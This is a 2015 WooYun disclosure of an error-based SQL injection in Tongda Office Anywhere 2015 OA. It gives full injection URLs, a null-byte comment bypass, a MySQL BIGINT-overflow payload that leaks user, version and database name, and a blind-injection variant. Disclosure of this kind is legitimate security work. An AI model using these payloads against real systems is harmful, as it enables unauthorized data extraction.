当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0147931

漏洞标题:通达Office Anywhere 2015集团版OA某处报错注入漏洞demo测试(报错技巧/需登陆)

相关厂商:通达信科

漏洞作者: goubuli

提交时间:2015-10-20 10:03

修复时间:2016-01-18 15:20

公开时间:2016-01-18 15:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-20: 细节已通知厂商并且等待厂商处理中
2015-10-20: 厂商已经确认,细节仅向厂商公开
2015-10-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-14: 细节向核心白帽子及相关领域专家公开
2015-12-24: 细节向普通白帽子公开
2016-01-03: 细节向实习白帽子公开
2016-01-18: 细节向公众公开

简要描述:

此处虽然未过滤单引号,但是还是需要绕过过滤。涉及两个技巧~
求首页~

详细说明:

厂商:通达信科
测试demo地址:**.**.**.**/
注入地址:

**.**.**.**/general/document/index.php/recv/register/register_for/?tid=&title=1
参数title可注入


我们加入单引号'

**.**.**.**/general/document/index.php/recv/register/register_for/?tid=&title=1'


1019-30.png


返回:

**.**.**.**/general/document/index.php/recv/register/register_for/?tid=&title=1'


普通注入无效,也不能union,要么是被过滤了要么就是直接输出出错SQL语句,如:

**.**.**.**/general/document/index.php/recv/register/register_for/?tid=&title=1' and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--


1019-31.png


其他过滤的地方不一一展示了
构造技巧~
技巧一:注释
普通注释都被过滤如:

--
#
/*


这里采用一个技巧,直接用截断

;%00


技巧二:报错注入,利用MySQL特性
普通的报错带入执行时,不能爆出信息,下面技巧可以爆出数据库信息:

(!(select*from(select user())x)-~0)


这里主要用到了MySQL的运算特性,造成整数溢出
其中

~0表示0的补数,是最大值


1019-32.png


其次

!(select*from(select user())x)对查出来的结果进行运算


用第一个结果减去一个超大数,导致溢出,报错!!!
那么注入EXP为:

**.**.**.**/general/document/index.php/recv/register/register_for/?tid=&title=1%' and (!(select*from(select user())x)-~0)>1;%00


1019-33.png

SQL语句执行错误
#1690: BIGINT UNSIGNED value is out of range in '((not((select 'root@**.**.**.**' from dual))) - ~(0))'


得到user:

root@**.**.**.**


少了任何一部分都不成功
同样,其他信息
version:

**.**.**.**/general/document/index.php/recv/register/register_for/?tid=&title=1%' and (!(select*from(select version())x)-~0)>1;%00


1019-33-version.png


SQL语句执行错误
#1690: BIGINT UNSIGNED value is out of range in '((not((select '5.5.36-enterprise-commercial-advanced-log' from dual))) - ~(0))'


数据库版本:

5.5.36-enterprise-commercial-advanced-log


database:

**.**.**.**/general/document/index.php/recv/register/register_for/?tid=&title=1%' and (!(select*from(select database())x)-~0)>1;%00


1019-33-database.png


SQL语句执行错误
#1690: BIGINT UNSIGNED value is out of range in '((not((select 'td_oa' from dual))) - ~(0))'
得到数据库:

td_oa

漏洞证明:

1019-33-database.png


1019-33-version.png


1019-33.png


这个点同样可以采用盲注,如这样构造:
<code>**.**.**.**/general/document/index.php/recv/register/register_for/?tid=&title=1%' and 1=1 and 'a%'='a</cod

1019-34.png

e>

修复方案:

过滤

版权声明:转载请注明来源 goubuli@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2015-10-20 15:12

厂商回复:

需要登录

最新状态:

暂无